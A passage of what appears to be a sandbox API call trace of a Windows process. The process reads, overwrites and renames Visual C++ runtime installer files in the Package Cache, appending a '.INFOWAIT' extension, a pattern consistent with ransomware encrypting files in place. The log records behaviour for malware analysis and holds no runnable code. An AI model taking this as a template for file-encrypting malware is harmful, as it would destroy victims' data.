lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.290] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x24000, lpOverlapped=0x0) returned 1 [0138.398] VirtualAlloc (lpAddress=0x0, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.407] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.407] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x24000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x24000, lpOverlapped=0x0) returned 1 [0138.408] CloseHandle (hObject=0xad0) returned 1 [0138.408] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" [0138.408] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT" [0138.408] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.infowait")) returned 1 [0138.409] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.410] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.410] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.410] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.411] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x554520 [0138.411] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.411] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.412] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0138.496] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.506] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.506] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0138.506] CloseHandle (hObject=0xad0) returned 1 [0138.506] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" [0138.506] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT" [0138.506] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.infowait")) returned 1 [0138.507] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.508] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.509] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.509] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.509] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23000 [0138.509] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.509] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.510] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23000, lpOverlapped=0x0) returned 1 [0138.561] VirtualAlloc (lpAddress=0x0, dwSize=0x23000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.570] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.570] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23000, lpOverlapped=0x0) returned 1 [0138.571] CloseHandle (hObject=0xad0) returned 1 [0138.571] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" [0138.571] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT" [0138.571] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.infowait")) returned 1 [0138.572] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.573] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.574] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.574] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfc90a [0138.574] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.574] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.575] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0138.657] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.666] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.666] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0138.667] CloseHandle (hObject=0xad0) returned 1 [0138.667] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" [0138.667] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT" [0138.667] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.infowait")) returned 1 [0138.668] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.668] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.669] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.669] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.670] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x23000 [0138.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.670] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.670] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x23000, lpOverlapped=0x0) returned 1 [0138.768] VirtualAlloc (lpAddress=0x0, dwSize=0x23000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.777] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.777] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x23000, lpOverlapped=0x0) returned 1 [0138.777] CloseHandle (hObject=0xad0) returned 1 [0138.778] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" [0138.778] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT" [0138.778] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.infowait")) returned 1 [0138.785] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.786] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.786] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.787] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ea418 [0138.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.787] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.787] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0138.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.882] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.882] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0138.883] CloseHandle (hObject=0xad0) returned 1 [0138.900] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" [0138.900] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT" [0138.900] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.infowait")) returned 1 [0138.901] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.902] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.902] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.902] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.903] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25000 [0138.903] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.903] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.903] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25000, lpOverlapped=0x0) returned 1 [0138.906] VirtualAlloc (lpAddress=0x0, dwSize=0x25000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0138.915] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.915] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25000, lpOverlapped=0x0) returned 1 [0138.915] CloseHandle (hObject=0xad0) returned 1 [0138.915] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" [0138.915] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT" [0138.915] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package 